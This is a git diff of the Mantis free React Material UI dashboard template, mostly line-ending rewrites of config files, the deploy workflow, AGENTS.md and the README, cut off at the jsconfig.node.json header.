diff --git a/.env b/.env index 01a16efb7..da6fdc88a 100644 --- a/.env +++ b/.env @@ -1,6 +1,6 @@ -VITE_APP_VERSION = v2.1.0 -GENERATE_SOURCEMAP = false - -## Public URL -PUBLIC_URL = https://mantisdashboard.com +VITE_APP_VERSION = v2.1.0 +GENERATE_SOURCEMAP = false + +## Public URL +PUBLIC_URL = https://mantisdashboard.com VITE_APP_BASE_NAME = /free \ No newline at end of file diff --git a/.github/workflows/prod.yml b/.github/workflows/prod.yml index 44730a943..6e35e4e2a 100644 --- a/.github/workflows/prod.yml +++ b/.github/workflows/prod.yml @@ -1,47 +1,47 @@ -name: Prod deploy - -# Controls when the action will run. -on: - # Triggers the workflow on push or pull request events but only for the master branch - push: - branches: - - master - pull_request: - types: - - closed - branches: - - master - -jobs: - if_merged: - if: github.event.pull_request.merged == true - name: πŸŽ‰ Deploy - runs-on: ubuntu-latest - - steps: - - name: 🚚 Get latest code - uses: actions/checkout@v4 - - - name: Use Node.js 24 - uses: actions/setup-node@v4 - with: - node-version: '24' - - - name: πŸ”¨ Build Project - run: | - corepack enable - yarn set version 4.12.0 - yarn - yarn build - - - name: πŸ“‚ Deploy to Server - uses: easingthemes/ssh-deploy@v4 - env: - SSH_PRIVATE_KEY: ${{ secrets.SERVER_SSH_KEY }} - # ARGS: "-rltgoDzvO --delete" - SOURCE: 'dist/' - REMOTE_HOST: 145.79.3.173 - REMOTE_USER: u965251139 - REMOTE_PORT: "65002" - TARGET: domains/mantisdashboard.com/public_html/free - EXCLUDE: '/build/, /node_modules/' +name: Prod deploy + +# Controls when the action will run. +on: + # Triggers the workflow on push or pull request events but only for the master branch + push: + branches: + - master + pull_request: + types: + - closed + branches: + - master + +jobs: + if_merged: + if: github.event.pull_request.merged == true + name: πŸŽ‰ Deploy + runs-on: ubuntu-latest + + steps: + - name: 🚚 Get latest code + uses: actions/checkout@v4 + + - name: Use Node.js 24 + uses: actions/setup-node@v4 + with: + node-version: '24' + + - name: πŸ”¨ Build Project + run: | + corepack enable + yarn set version 4.12.0 + yarn + yarn build + + - name: πŸ“‚ Deploy to Server + uses: easingthemes/ssh-deploy@v4 + env: + SSH_PRIVATE_KEY: ${{ secrets.SERVER_SSH_KEY }} + # ARGS: "-rltgoDzvO --delete" + SOURCE: 'dist/' + REMOTE_HOST: 145.79.3.173 + REMOTE_USER: u965251139 + REMOTE_PORT: "65002" + TARGET: domains/mantisdashboard.com/public_html/free + EXCLUDE: '/build/, /node_modules/' diff --git a/.gitignore b/.gitignore index a505a1732..d70c42452 100644 --- a/.gitignore +++ b/.gitignore @@ -1,110 +1,110 @@ -# Logs -logs -*.log -npm-debug.log* -yarn-debug.log* -yarn-error.log* -lerna-debug.log* - -# Diagnostic reports (https://nodejs.org/api/report.html) -report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json - -# Runtime data -pids -*.pid -*.seed -*.pid.lock - -# Directory for instrumented libs generated by jscoverage/JSCover -lib-cov - -# Coverage directory used by tools like istanbul -coverage -*.lcov - -# nyc test coverage -.nyc_output - -# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) -.grunt - -# Bower dependency directory (https://bower.io/) -bower_components - -# node-waf configuration -.lock-wscript - -# Compiled binary addons (https://nodejs.org/api/addons.html) -build/Release -build -dist - -# Dependency directories -node_modules/ -jspm_packages/ - -# TypeScript v1 declaration files -typings/ - -# TypeScript cache -*.tsbuildinfo - -# Optional npm cache directory -.npm - -# Optional eslint cache -.eslintcache - -# Microbundle cache -.rpt2_cache/ -.rts2_cache_cjs/ -.rts2_cache_es/ -.rts2_cache_umd/ - -# Optional REPL history -.node_repl_history - -# Output of 'npm pack' -*.tgz - -# Yarn Integrity file -.yarn-integrity -.yarn - -# dotenv environment variables file -# .env -.env.test - -# parcel-bundler cache (https://parceljs.org/) -.cache - -# Next.js build output -.next - -# Nuxt.js build / generate output -.nuxt -dist - -# Gatsby files -.cache/ -# Comment in the public line in if your project uses Gatsby and *not* Next.js -# https://nextjs.org/blog/next-9-1#public-directory-support -# public - -# vuepress build output -.vuepress/dist - -# Serverless directories -.serverless/ - -# FuseBox cache -.fusebox/ - -# DynamoDB Local files -.dynamodb/ - -# TernJS port file -.tern-port - -# wincompare file -.bak \ No newline at end of file +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +lerna-debug.log* + +# Diagnostic reports (https://nodejs.org/api/report.html) +report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json + +# Runtime data +pids +*.pid +*.seed +*.pid.lock + +# Directory for instrumented libs generated by jscoverage/JSCover +lib-cov + +# Coverage directory used by tools like istanbul +coverage +*.lcov + +# nyc test coverage +.nyc_output + +# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) +.grunt + +# Bower dependency directory (https://bower.io/) +bower_components + +# node-waf configuration +.lock-wscript + +# Compiled binary addons (https://nodejs.org/api/addons.html) +build/Release +build +dist + +# Dependency directories +node_modules/ +jspm_packages/ + +# TypeScript v1 declaration files +typings/ + +# TypeScript cache +*.tsbuildinfo + +# Optional npm cache directory +.npm + +# Optional eslint cache +.eslintcache + +# Microbundle cache +.rpt2_cache/ +.rts2_cache_cjs/ +.rts2_cache_es/ +.rts2_cache_umd/ + +# Optional REPL history +.node_repl_history + +# Output of 'npm pack' +*.tgz + +# Yarn Integrity file +.yarn-integrity +.yarn + +# dotenv environment variables file +# .env + +# parcel-bundler cache (https://parceljs.org/) +.cache + +# Next.js build output +.next + +# Nuxt.js build / generate output +.nuxt +dist + +# Gatsby files +.cache/ +# Comment in the public line in if your project uses Gatsby and *not* Next.js +# https://nextjs.org/blog/next-9-1#public-directory-support +# public + +# vuepress build output +.vuepress/dist + +# Serverless directories +.serverless/ + +# FuseBox cache +.fusebox/ + +# DynamoDB Local files +.dynamodb/ + +# TernJS port file +.tern-port + +# wincompare file +.bak +config.bat diff --git a/.prettierrc b/.prettierrc index b5cde330e..5fa0bf2cf 100644 --- a/.prettierrc +++ b/.prettierrc @@ -1,9 +1,9 @@ -{ - "bracketSpacing": true, - "printWidth": 140, - "singleQuote": true, - "trailingComma": "none", - "tabWidth": 2, - "useTabs": false, - "endOfLine": "lf" -} +{ + "bracketSpacing": true, + "printWidth": 140, + "singleQuote": true, + "trailingComma": "none", + "tabWidth": 2, + "useTabs": false, + "endOfLine": "lf" +} diff --git a/.yarnrc.yml b/.yarnrc.yml index 3186f3f07..0acb2636e 100644 --- a/.yarnrc.yml +++ b/.yarnrc.yml @@ -1 +1 @@ -nodeLinker: node-modules +nodeLinker: node-modules diff --git a/AGENTS.md b/AGENTS.md index 5a69a2466..7f56cbf73 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -1,40 +1,40 @@ -# Mantis Free React Admin Template - AI Instructions - -## Role & Context - -You are a **Frontend Template Architect**. Your goal is to build a visually consistent and easy-to-use React admin website. The code should be developer-friendly, forgiving, and focused on rapid UI development. Reuse existing premade components and pages whenever possible. - -## Tech Stack - -- **Framework**: React (Functional Components) with Vite -- **Language**: JavaScript (JSX) -- **UI Library**: Material UI (MUI) -- **State**: Context API + React hooks -- **Routing**: React Router -- **Charts**: MUI X Charts -- **Animations**: Framer Motion -- **Forms**: Formik + Yup -- **Data Fetching/Caching**: SWR (local state only) -- **Icons**: Ant Design Icons - -## Commands - -```bash -yarn install # Install dependencies -yarn start # Dev server (http://localhost:3000) -yarn build # Production build -``` - -## Key Locations - -- `src/pages/` β€” Application views -- `src/components/` β€” Reusable UI components (MainCard, Loader, Logo, etc.) -- `src/sections/` β€” Page-specific UI modules -- `src/layout/` β€” Dashboard layout (Header, Drawer, Footer) -- `src/themes/` β€” MUI theme configuration -- `src/routes/` β€” Route definitions -- `src/menu-items/` β€” Sidebar navigation config -- `src/config.js` β€” Global constants -- `src/contexts/ConfigContext.jsx` β€” Config provider -- `src/hooks/` β€” Custom hooks (useConfig, useLocalStorage) -- `src/api/menu.js` β€” SWR-based drawer state management +# Mantis Free React Admin Template - AI Instructions + +## Role & Context + +You are a **Frontend Template Architect**. Your goal is to build a visually consistent and easy-to-use React admin website. The code should be developer-friendly, forgiving, and focused on rapid UI development. Reuse existing premade components and pages whenever possible. + +## Tech Stack + +- **Framework**: React (Functional Components) with Vite +- **Language**: JavaScript (JSX) +- **UI Library**: Material UI (MUI) +- **State**: Context API + React hooks +- **Routing**: React Router +- **Charts**: MUI X Charts +- **Animations**: Framer Motion +- **Forms**: Formik + Yup +- **Data Fetching/Caching**: SWR (local state only) +- **Icons**: Ant Design Icons + +## Commands + +```bash +yarn install # Install dependencies +yarn start # Dev server (http://localhost:3000) +yarn build # Production build +``` + +## Key Locations + +- `src/pages/` β€” Application views +- `src/components/` β€” Reusable UI components (MainCard, Loader, Logo, etc.) +- `src/sections/` β€” Page-specific UI modules +- `src/layout/` β€” Dashboard layout (Header, Drawer, Footer) +- `src/themes/` β€” MUI theme configuration +- `src/routes/` β€” Route definitions +- `src/menu-items/` β€” Sidebar navigation config +- `src/config.js` β€” Global constants +- `src/contexts/ConfigContext.jsx` β€” Config provider +- `src/hooks/` β€” Custom hooks (useConfig, useLocalStorage) +- `src/api/menu.js` β€” SWR-based drawer state management diff --git a/README.md b/README.md index bb31877f5..2d21fd74e 100644 --- a/README.md +++ b/README.md @@ -1,190 +1,190 @@ -# Mantis Free React Material UI Dashboard Template [![Tweet](https://img.shields.io/twitter/url/http/shields.io.svg?style=social)](https://twitter.com/intent/tweet?text=Get%20Mantis%20Free%20React%20-%20The%20Most%20Beautiful%20Material-UI%20Designed%20Admin%20Dashboard%20Template%20&url=https://mantisdashboard.com/free&via=codedthemes&hashtags=react,materialui,nextjs,webdev,developers,typescript) - -[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) -[![Price](https://img.shields.io/badge/price-FREE-0098f7.svg)](https://github.com/codedthemes/mantis-free-react-admin-template/blob/master/LICENSE) -[![GitHub package version](https://img.shields.io/github/package-json/v/codedthemes/mantis-free-react-admin-template)](https://github.com/codedthemes/mantis-free-react-admin-template/) -[![Download ZIP](https://img.shields.io/badge/Download-ZIP-blue?style=flat-square&logo=github)](https://codedthemes.com/item/mantis-free-mui-admin-template/) -[![Join Discord](https://img.shields.io/badge/Join-Discord-5865F2?style=flat-square&logo=discord&logoColor=white)](https://discord.com/invite/p2E2WhCb6s) - -Mantis is a free and open source React dashboard template made using the Material UI React component library with aim of flexibility and better customizability. - -### Name Derived From Nature - -Mantis Logo is inspired from the insect name - 'Mantises' as they have triangular heads with flexible Necks. Also, the name is derived from two popular design systems, Material and Ant Design (M-Ant-is). - -Mantis has Ant Design principal on top of the Material UI React component library. - -✨ Support us! If you like this theme, click the ⭐ (Top right) and let it shine - -![mantis-free-react-dashboard-template.jpg](https://org-public-assets.s3.us-west-2.amazonaws.com/Free-Version-Banners/GITHUB-FREE-REACT-REPO+-+Mantis.png) - -## Table of contents - -- [Getting Started](#getting-started) -- [Download](#download) -- [Why Mantis?](#why-mantis) -- [What's included in Premium Version?](#whats-included-in-premium-version) -- [Documentation](#documentation) -- [Browser support](#browser-support) -- [Technology Stack](#technology-stack) -- [Mantis Figma UI Kit](#mantis-figma-ui-kit) -- [Other Technologies](#other-technologies) -- πŸ’°[Save more with Big Bundle](#save-more-with-big-bundle)πŸ’° -- [More React Dashboard Templates](#more-react-dashboard-templates) -- [Issues?](#issues) -- [License](#license) -- [Contributor](#contributor) -- [Useful Resources](#useful-resources) -- [Community](#community) -- [Follow us](#follow-us) - -## Getting Started - -1. Clone from Github - -``` -git clone https://github.com/codedthemes/mantis-free-react-admin-template.git -``` - -2. Install packages - -``` -yarn -``` - -3. Run project - -``` -yarn run start -``` - -## Download - -- Mantis Free - - [Live Preview](https://mantisdashboard.com/free/) - - [Download](https://codedthemes.com/item/mantis-free-mui-admin-template/) -- Mantis Pro - - [Live Preview](https://mantisdashboard.com/) - - [Download](https://codedthemes.com/item/mantis-mui-react-dashboard-template/) - -## Why Mantis? - -Mantis offers everything needed to build an advanced dashboard application. In the initial release, we included following high-end features, - -- Support React19. -- Professional user interface. -- Material UI React components(MUI v7). -- Fully responsive, all modern browser supported. -- Easy to use code structure -- Flexible & high-Performance code -- Simple documentation - -## What's included in Premium Version? - -The [Pro version](https://mantisdashboard.com/) of Mantis react template includes features such as TypeScript, apps, authentication methods (i.e. JWT, Auth0, Firebase, AWS, Supabase), advance components, form plugins, layouts, widgets, and more. - -| [Mantis Free](https://mantisdashboard.com/free/) | [Mantis](https://mantisdashboard.com/) | -| ---------------------------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------- | -| **7** Demo pages | **85+** demo pages | -| - | βœ“ Multi-language | -| - | βœ“ Dark/Light Mode πŸŒ“ | -| - | βœ“ TypeScript version | -| - | βœ“ Design files (Figma) | -| - | βœ“ Multiple color options | -| - | βœ“ RTL | -| - | βœ“ JWT authentications | -| - | βœ“ [More components](https://mantisdashboard.com/components-overview/autocomplete) | -| βœ“ [MIT License](https://github.com/codedthemes/mantis-free-react-admin-template/blob/master/LICENSE) | βœ“ [Pro License](https://mui.com/store/license/) | - -## Documentation - -[Mantis documentation](https://codedthemes.gitbook.io/mantis) helps you out in all aspects from Installation to deployment. - -## Browser support - - - -## Technology Stack - -- Material UI V7 -- Built with React Hooks API. -- React context API for state management. -- SWR. -- React Router for navigation routing. -- Support for Vite. -- Code splitting. -- CSS-in-JS. - -## Mantis Figma UI Kit - -| FREE | PRO | -| --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------- | -| Figma Free | Figma Pro | - -## Other Technologies - -| Technology | Free | Pro | -| --------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------- | -|

| [**Free**](https://codedthemes.com/item/mantis-angular-free-admin-template/) | [**Pro**](https://codedthemes.com/item/mantis-angular-admin-template/) | -|

| [**Free**](https://codedthemes.com/item/mantis-bootstrap-free-admin-template/) | [**Pro**](https://codedthemes.com/item/mantis-bootstrap-admin-dashboard/) | -|

| [**Free**](https://codedthemes.com/item/mantis-free-vuetify-vuejs-admin-template/) | [**Pro**](https://codedthemes.com/item/mantis-vue-admin-template/) | - -## Save more with Big Bundle - -[![bundle-image](https://org-public-assets.s3.us-west-2.amazonaws.com/Banners/Bundle+banner.png)](https://links.codedthemes.com/jhFBJ) - -## More React Dashboard Templates - -| Dashboard | FREE | PRO | -| ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | -| | [**Free**](https://codedthemes.com/item/berry-mui-free-react-admin-template/) | [**Pro**](https://codedthemes.com/item/berry-material-react-admin-template/) | -| | [**Free**](https://codedthemes.com/item/datta-able-react-free-admin-template/) | [**Pro**](https://codedthemes.com/item/datta-able-react-admin-template/) | -| | [**Free**](https://codedthemes.com/item/gradient-able-reactjs-free-admin-template/) | [**Pro**](https://codedthemes.com/item/gradient-able-reactjs-admin-dashboard/) | - -## Issues - -Please generate a [Github issue](https://github.com/codedthemes/mantis-free-react-admin-template/issues) if you found a bug in any version. We are try our best to resolve the issue. - -## License - -- Licensed under [MIT](https://github.com/codedthemes/mantis-free-react-admin-template/blob/master/LICENSE) -- Copyright Β© [CodedThemes](https://codedthemes.com/) - -## Contributor - -**CodedThemes Team** - -- https://x.com/codedthemes -- https://github.com/codedthemes - -**Rakesh Nakrani** - -- https://x.com/rakesh_nakrani - -**Brijesh Dobariya** - -- https://x.com/dobaria_brijesh - -## Useful Resources - -- [More Admin Templates From CodedThemes](https://codedthemes.com/item/category/admin-templates/) -- [Freebies From CodedThemes](https://codedthemes.com/item/category/free-templates/) -- [Big Bundles](https://codedthemes.com/item/big-bundle/) -- [Figma UI Kits](https://codedthemes.com/item/category/templates/figma/) -- [Affiliate Program](https://codedthemes.com/affiliate/) -- [Blogs](https://blog.codedthemes.com/) - -## Community - -- πŸ‘₯Follow [@codedThemes](https://x.com/codedthemes) -- πŸ”—Join [Discord](https://discord.com/invite/p2E2WhCb6s) -- πŸ””Subscribe to [CodedTheme Blogs](https://blog.codedthemes.com/) - -## Follow Us - -- [Twitter](https://twitter.com/codedthemes) 🐦 -- [Dribbble](https://dribbble.com/codedthemes) πŸ€ -- [Github](https://github.com/codedthemes) πŸ™ -- [LinkedIn](https://www.linkedin.com/company/codedthemes/) πŸ’Ό -- [Instagram](https://www.instagram.com/codedthemes/) πŸ“· -- [Facebook](https://www.facebook.com/codedthemes) 🟦 +# Mantis Free React Material UI Dashboard Template [![Tweet](https://img.shields.io/twitter/url/http/shields.io.svg?style=social)](https://twitter.com/intent/tweet?text=Get%20Mantis%20Free%20React%20-%20The%20Most%20Beautiful%20Material-UI%20Designed%20Admin%20Dashboard%20Template%20&url=https://mantisdashboard.com/free&via=codedthemes&hashtags=react,materialui,nextjs,webdev,developers,typescript) + +[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) +[![Price](https://img.shields.io/badge/price-FREE-0098f7.svg)](https://github.com/codedthemes/mantis-free-react-admin-template/blob/master/LICENSE) +[![GitHub package version](https://img.shields.io/github/package-json/v/codedthemes/mantis-free-react-admin-template)](https://github.com/codedthemes/mantis-free-react-admin-template/) +[![Download ZIP](https://img.shields.io/badge/Download-ZIP-blue?style=flat-square&logo=github)](https://codedthemes.com/item/mantis-free-mui-admin-template/) +[![Join Discord](https://img.shields.io/badge/Join-Discord-5865F2?style=flat-square&logo=discord&logoColor=white)](https://discord.com/invite/p2E2WhCb6s) + +Mantis is a free and open source React dashboard template made using the Material UI React component library with aim of flexibility and better customizability. + +### Name Derived From Nature + +Mantis Logo is inspired from the insect name - 'Mantises' as they have triangular heads with flexible Necks. Also, the name is derived from two popular design systems, Material and Ant Design (M-Ant-is). + +Mantis has Ant Design principal on top of the Material UI React component library. + +✨ Support us! If you like this theme, click the ⭐ (Top right) and let it shine + +![mantis-free-react-dashboard-template.jpg](https://org-public-assets.s3.us-west-2.amazonaws.com/Free-Version-Banners/GITHUB-FREE-REACT-REPO+-+Mantis.png) + +## Table of contents + +- [Getting Started](#getting-started) +- [Download](#download) +- [Why Mantis?](#why-mantis) +- [What's included in Premium Version?](#whats-included-in-premium-version) +- [Documentation](#documentation) +- [Browser support](#browser-support) +- [Technology Stack](#technology-stack) +- [Mantis Figma UI Kit](#mantis-figma-ui-kit) +- [Other Technologies](#other-technologies) +- πŸ’°[Save more with Big Bundle](#save-more-with-big-bundle)πŸ’° +- [More React Dashboard Templates](#more-react-dashboard-templates) +- [Issues?](#issues) +- [License](#license) +- [Contributor](#contributor) +- [Useful Resources](#useful-resources) +- [Community](#community) +- [Follow us](#follow-us) + +## Getting Started + +1. Clone from Github + +``` +git clone https://github.com/codedthemes/mantis-free-react-admin-template.git +``` + +2. Install packages + +``` +yarn +``` + +3. Run project + +``` +yarn run start +``` + +## Download + +- Mantis Free + - [Live Preview](https://mantisdashboard.com/free/) + - [Download](https://codedthemes.com/item/mantis-free-mui-admin-template/) +- Mantis Pro + - [Live Preview](https://mantisdashboard.com/) + - [Download](https://codedthemes.com/item/mantis-mui-react-dashboard-template/) + +## Why Mantis? + +Mantis offers everything needed to build an advanced dashboard application. In the initial release, we included following high-end features, + +- Support React19. +- Professional user interface. +- Material UI React components(MUI v7). +- Fully responsive, all modern browser supported. +- Easy to use code structure +- Flexible & high-Performance code +- Simple documentation + +## What's included in Premium Version? + +The [Pro version](https://mantisdashboard.com/) of Mantis react template includes features such as TypeScript, apps, authentication methods (i.e. JWT, Auth0, Firebase, AWS, Supabase), advance components, form plugins, layouts, widgets, and more. + +| [Mantis Free](https://mantisdashboard.com/free/) | [Mantis](https://mantisdashboard.com/) | +| ---------------------------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------- | +| **7** Demo pages | **85+** demo pages | +| - | βœ“ Multi-language | +| - | βœ“ Dark/Light Mode πŸŒ“ | +| - | βœ“ TypeScript version | +| - | βœ“ Design files (Figma) | +| - | βœ“ Multiple color options | +| - | βœ“ RTL | +| - | βœ“ JWT authentications | +| - | βœ“ [More components](https://mantisdashboard.com/components-overview/autocomplete) | +| βœ“ [MIT License](https://github.com/codedthemes/mantis-free-react-admin-template/blob/master/LICENSE) | βœ“ [Pro License](https://mui.com/store/license/) | + +## Documentation + +[Mantis documentation](https://codedthemes.gitbook.io/mantis) helps you out in all aspects from Installation to deployment. + +## Browser support + + + +## Technology Stack + +- Material UI V7 +- Built with React Hooks API. +- React context API for state management. +- SWR. +- React Router for navigation routing. +- Support for Vite. +- Code splitting. +- CSS-in-JS. + +## Mantis Figma UI Kit + +| FREE | PRO | +| --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------- | +| Figma Free | Figma Pro | + +## Other Technologies + +| Technology | Free | Pro | +| --------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------- | +|

| [**Free**](https://codedthemes.com/item/mantis-angular-free-admin-template/) | [**Pro**](https://codedthemes.com/item/mantis-angular-admin-template/) | +|

| [**Free**](https://codedthemes.com/item/mantis-bootstrap-free-admin-template/) | [**Pro**](https://codedthemes.com/item/mantis-bootstrap-admin-dashboard/) | +|

| [**Free**](https://codedthemes.com/item/mantis-free-vuetify-vuejs-admin-template/) | [**Pro**](https://codedthemes.com/item/mantis-vue-admin-template/) | + +## Save more with Big Bundle + +[![bundle-image](https://org-public-assets.s3.us-west-2.amazonaws.com/Banners/Bundle+banner.png)](https://links.codedthemes.com/jhFBJ) + +## More React Dashboard Templates + +| Dashboard | FREE | PRO | +| ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | +| | [**Free**](https://codedthemes.com/item/berry-mui-free-react-admin-template/) | [**Pro**](https://codedthemes.com/item/berry-material-react-admin-template/) | +| | [**Free**](https://codedthemes.com/item/datta-able-react-free-admin-template/) | [**Pro**](https://codedthemes.com/item/datta-able-react-admin-template/) | +| | [**Free**](https://codedthemes.com/item/gradient-able-reactjs-free-admin-template/) | [**Pro**](https://codedthemes.com/item/gradient-able-reactjs-admin-dashboard/) | + +## Issues + +Please generate a [Github issue](https://github.com/codedthemes/mantis-free-react-admin-template/issues) if you found a bug in any version. We are try our best to resolve the issue. + +## License + +- Licensed under [MIT](https://github.com/codedthemes/mantis-free-react-admin-template/blob/master/LICENSE) +- Copyright Β© [CodedThemes](https://codedthemes.com/) + +## Contributor + +**CodedThemes Team** + +- https://x.com/codedthemes +- https://github.com/codedthemes + +**Rakesh Nakrani** + +- https://x.com/rakesh_nakrani + +**Brijesh Dobariya** + +- https://x.com/dobaria_brijesh + +## Useful Resources + +- [More Admin Templates From CodedThemes](https://codedthemes.com/item/category/admin-templates/) +- [Freebies From CodedThemes](https://codedthemes.com/item/category/free-templates/) +- [Big Bundles](https://codedthemes.com/item/big-bundle/) +- [Figma UI Kits](https://codedthemes.com/item/category/templates/figma/) +- [Affiliate Program](https://codedthemes.com/affiliate/) +- [Blogs](https://blog.codedthemes.com/) + +## Community + +- πŸ‘₯Follow [@codedThemes](https://x.com/codedthemes) +- πŸ”—Join [Discord](https://discord.com/invite/p2E2WhCb6s) +- πŸ””Subscribe to [CodedTheme Blogs](https://blog.codedthemes.com/) + +## Follow Us + +- [Twitter](https://twitter.com/codedthemes) 🐦 +- [Dribbble](https://dribbble.com/codedthemes) πŸ€ +- [Github](https://github.com/codedthemes) πŸ™ +- [LinkedIn](https://www.linkedin.com/company/codedthemes/) πŸ’Ό +- [Instagram](https://www.instagram.com/codedthemes/) πŸ“· +- [Facebook](https://www.facebook.com/codedthemes) 🟦 diff --git a/eslint.config.mjs b/eslint.config.mjs index 5d9d22d30..4a07f964a 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -1,89 +1,89 @@ -import { fixupConfigRules, fixupPluginRules } from '@eslint/compat'; -import prettier from 'eslint-plugin-prettier'; -import react from 'eslint-plugin-react'; -import reactHooks from 'eslint-plugin-react-hooks'; -import jsxA11y from 'eslint-plugin-jsx-a11y'; -import js from '@eslint/js'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { FlatCompat } from '@eslint/eslintrc'; - -const __filename = fileURLToPath(import.meta.url); -const __dirname = path.dirname(__filename); -const compat = new FlatCompat({ - baseDirectory: __dirname, - recommendedConfig: js.configs.recommended, - allConfig: js.configs.all -}); - -export default [ - ...fixupConfigRules(compat.extends('prettier')), - - { - plugins: { - prettier, - react, - 'react-hooks': fixupPluginRules(reactHooks), - 'jsx-a11y': jsxA11y - }, - - languageOptions: { - ecmaVersion: 2020, - sourceType: 'module', - parserOptions: { - ecmaFeatures: { - jsx: true - } - } - }, - - settings: { - react: { - version: 'detect' - } - }, - - rules: { - 'react/jsx-filename-extension': 'off', - 'no-param-reassign': 'off', - 'react/prop-types': 'off', - 'react/require-default-props': 'off', - 'react/no-array-index-key': 'off', - 'react/react-in-jsx-scope': 'off', - 'react/jsx-props-no-spreading': 'off', - 'import/order': 'off', - 'no-console': 'off', - 'no-shadow': 'off', - 'import/no-cycle': 'off', - 'import/no-extraneous-dependencies': 'off', - 'jsx-a11y/label-has-associated-control': 'off', - 'jsx-a11y/no-autofocus': 'off', - 'react/jsx-uses-react': 'off', - 'react/jsx-uses-vars': 'error', - 'react-hooks/rules-of-hooks': 'error', - 'react-hooks/exhaustive-deps': 'warn', - 'no-unused-vars': 'off', - - 'no-restricted-imports': [ - 'error', - { - patterns: ['@mui/*/*/*', '!@mui/material/test-utils/*'] - } - ], - - 'no-unused-vars': [ - 'error', - { - vars: 'all', - args: 'none' - } - ], - - 'prettier/prettier': 'warn' - } - }, - { - ignores: ['node_modules/**'], - files: ['src/**/*.{js,jsx}'] - } +import { fixupConfigRules, fixupPluginRules } from '@eslint/compat'; +import prettier from 'eslint-plugin-prettier'; +import react from 'eslint-plugin-react'; +import reactHooks from 'eslint-plugin-react-hooks'; +import jsxA11y from 'eslint-plugin-jsx-a11y'; +import js from '@eslint/js'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { FlatCompat } from '@eslint/eslintrc'; + +const __filename = fileURLToPath(import.meta.url); +const __dirname = path.dirname(__filename); +const compat = new FlatCompat({ + baseDirectory: __dirname, + recommendedConfig: js.configs.recommended, + allConfig: js.configs.all +}); + +export default [ + ...fixupConfigRules(compat.extends('prettier')), + + { + plugins: { + prettier, + react, + 'react-hooks': fixupPluginRules(reactHooks), + 'jsx-a11y': jsxA11y + }, + + languageOptions: { + ecmaVersion: 2020, + sourceType: 'module', + parserOptions: { + ecmaFeatures: { + jsx: true + } + } + }, + + settings: { + react: { + version: 'detect' + } + }, + + rules: { + 'react/jsx-filename-extension': 'off', + 'no-param-reassign': 'off', + 'react/prop-types': 'off', + 'react/require-default-props': 'off', + 'react/no-array-index-key': 'off', + 'react/react-in-jsx-scope': 'off', + 'react/jsx-props-no-spreading': 'off', + 'import/order': 'off', + 'no-console': 'off', + 'no-shadow': 'off', + 'import/no-cycle': 'off', + 'import/no-extraneous-dependencies': 'off', + 'jsx-a11y/label-has-associated-control': 'off', + 'jsx-a11y/no-autofocus': 'off', + 'react/jsx-uses-react': 'off', + 'react/jsx-uses-vars': 'error', + 'react-hooks/rules-of-hooks': 'error', + 'react-hooks/exhaustive-deps': 'warn', + 'no-unused-vars': 'off', + + 'no-restricted-imports': [ + 'error', + { + patterns: ['@mui/*/*/*', '!@mui/material/test-utils/*'] + } + ], + + 'no-unused-vars': [ + 'error', + { + vars: 'all', + args: 'none' + } + ], + + 'prettier/prettier': 'warn' + } + }, + { + ignores: ['node_modules/**'], + files: ['src/**/*.{js,jsx}'] + } ]; \ No newline at end of file diff --git a/favicon.svg b/favicon.svg index 7cae2764a..abf2d8214 100644 --- a/favicon.svg +++ b/favicon.svg @@ -1,16 +1,16 @@ - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + diff --git a/index.html b/index.html index a923646ed..bb1bbd999 100644 --- a/index.html +++ b/index.html @@ -1,48 +1,48 @@ - - - - - Mantis React Admin Dashboard - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - + + + + + Mantis React Admin Dashboard + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + \ No newline at end of file diff --git a/jsconfig.json b/jsconfig.json index 417a9c0ca..ce6d8a6b4 100644 --- a/jsconfig.json +++ b/jsconfig.json @@ -1,23 +1,23 @@ -{ - "compilerOptions": { - "target": "ESNext", - "useDefineForClassFields": true, - "lib": ["DOM", "DOM.Iterable", "ESNext"], - "allowJs": false, - "skipLibCheck": true, - "esModuleInterop": false, - "allowSyntheticDefaultImports": true, - "strict": true, - "forceConsistentCasingInFileNames": true, - "module": "ESNext", - "moduleResolution": "Node", - "resolveJsonModule": true, - "isolatedModules": true, - "noEmit": true, - "jsx": "react-jsx", - "baseUrl": "src" - }, - "exclude": ["node_modules"], - "include": ["src", "**/*.js", "**/*.jsx", "src/**/*"], - "references": [{ "path": "./jsconfig.node.json" }] -} +{ + "compilerOptions": { + "target": "ESNext", + "useDefineForClassFields": true, + "lib": ["DOM", "DOM.Iterable", "ESNext"], + "allowJs": false, + "skipLibCheck": true, + "esModuleInterop": false, + "allowSyntheticDefaultImports": true, + "strict": true, + "forceConsistentCasingInFileNames": true, + "module": "ESNext", + "moduleResolution": "Node", + "resolveJsonModule": true, + "isolatedModules": true, + "noEmit": true, + "jsx": "react-jsx", + "baseUrl": "src" + }, + "exclude": ["node_modules"], + "include": ["src", "**/*.js", "**/*.jsx", "src/**/*"], + "references": [{ "path": "./jsconfig.node.json" }] +} diff --git a/jsconfig.node.json b/jsconfig.node.json index 316cf3763..895c12312 100644 --- 